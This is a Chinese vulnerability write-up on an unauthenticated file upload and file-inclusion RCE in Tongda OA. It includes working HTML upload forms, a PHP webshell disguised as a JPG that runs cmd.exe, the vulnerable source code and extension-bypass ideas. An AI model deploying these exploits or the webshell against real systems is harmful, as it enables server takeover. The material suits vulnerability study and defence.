通达OA任意文件上传+RCE

0x01 影响版本

  • V11
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版
    复现使用版本 11.3

0x02 漏洞复现

  1. 文件上传
    构造文件上传html样例1:
<html>
<head>
</head>
<body>
    <form method="POST" action="http://10.10.10.133/ispirit/im/upload.php" enctype="multipart/form-data">
        <input  type="text"name='P' value = 1  ></input>
        <input  type="text"name='MSG_CATE' value = 'file'></input>
        <input  type="text"name='UPLOAD_MODE' value = 1 ></input>
        <input type="text" name="DEST_UID" value = 1></input>
        <input type="file" name="ATTACHMENT"></input>
        <input type="submit" ></input>
    </form>
</body>
</html>

文件上传样例2(需要登录才能上传):

<html>
<head>
</head>
<body>
    <form method="POST" action="http://10.10.10.133/general/reportshop/utils/upload.php" enctype="multipart/form-data">
        <input  type="text"name='filetype' value = "img"></input>
        <input  type="text" name="action" value="upload"></input>
        <input  type="file"name='FILE1' value = 'file'></input>
        <input  type="text"name='json' value = 1 ></input>
        <input type="submit" ></input>
    </form>
</body>
</html>

上传1.jpg:

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");  
$stdout = $exec->StdOut();  
$stroutput = $stdout->ReadAll();  
echo $stroutput;
?>
  1. RCE
    上传文件1的路径位于MYOA/attach/im/2004/2004这个值由OA系统版本决定,从文件上传回显内容可以看到
    上传文件1

    上传文件2的文件路径位于wwwroot/attachment/reportshop/images/
    上传文件2
RCE1

RCE2

0x03 漏洞分析

  1. webroot\ispirit\im\upload.php

从代码可以看出如果在POST请求中带有P参数且不为空时,代码会将phpsession设置为P参数的值;POST请求未携带P参数时则对session中的LOGIN_USER_IDLOGIN_UID进行校验,校验失败是提示用户未登录。

// ispirit\im\upload.php
set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
    ob_start();
    include_once "inc/session.php";
    session_id($P);
    session_start();
    session_write_close();
}
else {
    include_once "./auth.php";
}
...
// auth.php
if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
    sleep(1);
    if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
        echo "-ERR " . _("用户未登陆");
        exit();
    }
}

针对POST参数DEST_UID进行校验,值必须为整型,校验失败时提示接收方ID无效

$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
    echo json_encode(data2utf8($dataBack));
    exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
    $DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
        echo json_encode(data2utf8($dataBack));
        exit();
    }
}

文件上传处理

...
$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);// 校验文件上传格式
...
if ($MSG_CATE == "file") {
    //响应包中的content内容
    $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
}

  1. inc\utility_file.php
function upload($PREFIX, $MODULE, $OUTPUT){
...
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
            if (!is_uploadable($ATTACH_NAME)) {
                $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
            }
...
}
function is_uploadable($FILE_NAME){
    $POS = strrpos($FILE_NAME, "."); // 从文件名中获取最后一个.的位置
    if ($POS === false) {
        $EXT_NAME = $FILE_NAME;
    }
    else {
        if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {//判断点之后3位字符串内容是否为php
            return false;
        }
        $EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
    }
    if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) {
        return false;
    }
    if (MYOA_UPLOAD_LIMIT == 0) {
        return true;
    }
    else if (MYOA_UPLOAD_LIMIT == 1) {
        return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
    }
    else if (MYOA_UPLOAD_LIMIT == 2) {
        return find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
    }
    else {
        return false;
    }
}

添加上传的文件到数据库:

文件命名

文件复制

拼接返回的字符串content

文件中还有对$UPLOAD_MODE值的判断,基于该值输出不同的结果,值可选为123和其他值。

  1. ispirit\interface\gateway.php
//解析请求的json参数
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key => $val ) {
        if ($key == "data") {
            $val = (array) $val;
            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }
        if ($key == "url") {
            $url = $val;//获取json中的url参数
        }
    }
    if ($url != "") {
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }
//如果url参数中含有general/、ispirit/、module/之一,那么就include_once url中的值,即可包含任意文件
        if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }
    exit();
}

0x04 修复方式

0x05 一点思考

  1. 待解决的一些问题
  • 代码分析时全局查找没找到$ids是怎么定义的
  • 没找到$_POST["UPLOAD_MODE"]获取$UPLOAD_MODE,不知道为什么就可以通过POST请求获取,$json参数也是
  • 由于获取的代码都是解密得到的,对于这种没搞过动态调试,部分参数值不太清楚
  1. 一些其他的想法:
  • 上传文件只判断了.php,没判断.php.,可以绕过
  • 文件包含也可以尝试包含其他文件,比如get请求记录到日志中,然后在gateway.php中进行包含
  • 文件利用不需要登录
  1. 为什么上传的jpg文件要写成那样:
    因为php.ini写了如下内容:
disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfo

0x06 参考

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,841评论 5 472
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,415评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,904评论 0 333
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,051评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,055评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,255评论 1 278
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,729评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,377评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,517评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,420评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,467评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,144评论 3 317
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,735评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,812评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,029评论 1 256
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,528评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,126评论 2 341

推荐阅读更多精彩内容

  • 上传模块配置样例: # 上传大小限制(包括所有内容) client_max_body_size 100m; # 上...
    SkTj阅读 12,992评论 0 3
  • 0x01 漏洞说明 通达OA是由北京通达信科科技有限公司研发的一套通用型OA产品。而近日,通达OA在官方论坛发布了...
    Z1ng3r阅读 1,314评论 0 2
  • 0x00 漏洞原理与危害 网站web应用程序都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现...
    Z1ng3r阅读 1,565评论 0 1
  • 文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却...
    Splunker阅读 279评论 0 0
  • 0x01 概要说明 文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真...
    浩歌已行阅读 509评论 0 1